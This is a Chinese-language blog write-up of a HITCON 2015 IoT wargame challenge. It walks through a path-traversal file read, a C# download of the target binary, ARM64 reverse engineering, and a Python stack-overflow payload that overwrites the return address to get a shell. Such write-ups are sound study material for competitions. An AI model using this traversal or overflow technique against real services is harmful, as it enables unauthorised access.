HITCON 2015 IoT Wargame – R0 挑戰題

HITCON 2015 兩天活動結束惹

這期間成功解了 R0 的樹莓派的題目

這也是我第一次解這種題目…….

平常也沒啥打CTF…..解起來滿吃力的 QQ

寫這篇筆記時,發現自己多繞了ㄧ圈 XDrz

寫個文章來記錄這題的解法,如果哪邊有說錯 歡迎通知我更正 QAQ

這題表面上是個純Web題目,但其實是Web + Reverse 的組合技

目標是取得Shell 拿下首頁

首頁大概是長這樣子

HITCON2015-r0-ch

 

點連結後下方會出現內容

網址為 http://[ip]/?id=1 到 http://[ip]/?id=10

大家就會開始測試各種patten拉

這裏有個可任意瀏覽有權限訪問的漏洞

於是 http://[ip]/?id=../index.php

你就可以看到他把自己抓進來輸出了

螢幕快照 2015-08-30 下午6.31.58

 

這邊你就可以看到php原始碼了

不過很可惜的是不能玩 php://input 直接拿shell

接著其實就是各種亂翻了

翻到history 內有些可疑的指令

發現了有存取這個檔案 /home/forkyou/forkyou

那就先寫個程式把東西下載下來


using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.IO;

namespace ConsoleApplication1
{
    class Program
    {
        static void Main(string[] args)
        {
            WebClient client = new WebClient();
            Byte[] data = client.DownloadData("http://140.109.127.21/?id=../../../home/forkyou/forkyou");

            Stream f = System.IO.File.Open("forkyou", FileMode.Create | FileMode.Open);
            f.Write(data, 0x689, 0x0009F93D - 0x689);
            f.Flush();
            f.Close();
        }
    }
}

也發現這服務開了不只80 port

還有 3333 port

nc 上去後

螢幕快照 2015-08-30 下午6.52.41

 

這應該就是要想辦法取Shell寫檔案的程式了

剛剛所下載的binary 丟到反組譯的程式看了一下之後也確認過是這隻程式沒錯了

這個程式是Arm64的binary

接下來就是我比較擅長的逆向了 (其實這兩天才邊看邊翻ARM指令集

首先這支程式會要你輸入選項

既然有輸入……那就先塞超長字串看看了

螢幕快照 2015-08-30 下午6.59.51

恩…有Overflow漏洞可以利用

在反組譯的過程中 你會發現有個函數

螢幕快照 2015-08-30 下午7.56.17

這是在剛剛程式選單中第四個選項Pwn找到的

由於目標是拿到Shell ,所以這裡是個可以利用的位置

 

螢幕快照 2015-08-30 下午8.44.54

然後這是我選擇跳躍的位置~

接下來要找overflow的地方,我是用 http://qira.me 這工具來找~

螢幕快照 2015-08-30 下午7.14.32

x30 暫存器為 0x6161616161616161

這就是那個Overflow的位置了

接著我們可以看到有編號 7039的那行有讀取sp所儲存的記憶體位置的值

螢幕快照 2015-08-30 下午7.23.36

此時sp指向 0x4000800440

圖片中指令 LDP             X29, X30, [SP],#0x10

這會把 0x4000800400位置的16個byte切成個8個byte複製到 x29 , x30 中 ,再把 sp + 16

由於我對Arm64架構不太熟,不過這行指令應該就是恢復堆疊用的指令

稍微查了下除了x30 是剛提到的 return address register 以外

x29 則是 frame pointer ,功能上感覺很像是在x86中ebp,會儲存目前堆疊儲存參數的位置

知道了overflow的點以及跳轉的位置就可以來寫 payload了

從上面那張圖可以看到從 0x4000800470 到 0x40080046F 總共有 64個byte要先塞掉

接著回來看要跳轉的位置

我們要利用x29 的數值來讓第二個參數有地方儲存,然後正常執行

螢幕快照 2015-08-30 下午8.44.54

 

所以我隨便挑了一個位置 0x497728  來使用

完整payload如下


import socket

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('127.0.0.1', 4000))

import telnetlib
import struct

telnet = telnetlib.Telnet()

telnet.sock = sock
telnet.write(struct.pack('<B',0x0)*64)
telnet.write(struct.pack('<q',0x497728))
telnet.write(struct.pack('<q',0x400EF18))
telnet.write("\n")
telnet.interact()

 

 

結果圖:
螢幕快照 2015-08-30 下午9.03.07

 

 

留言

comments

發佈留言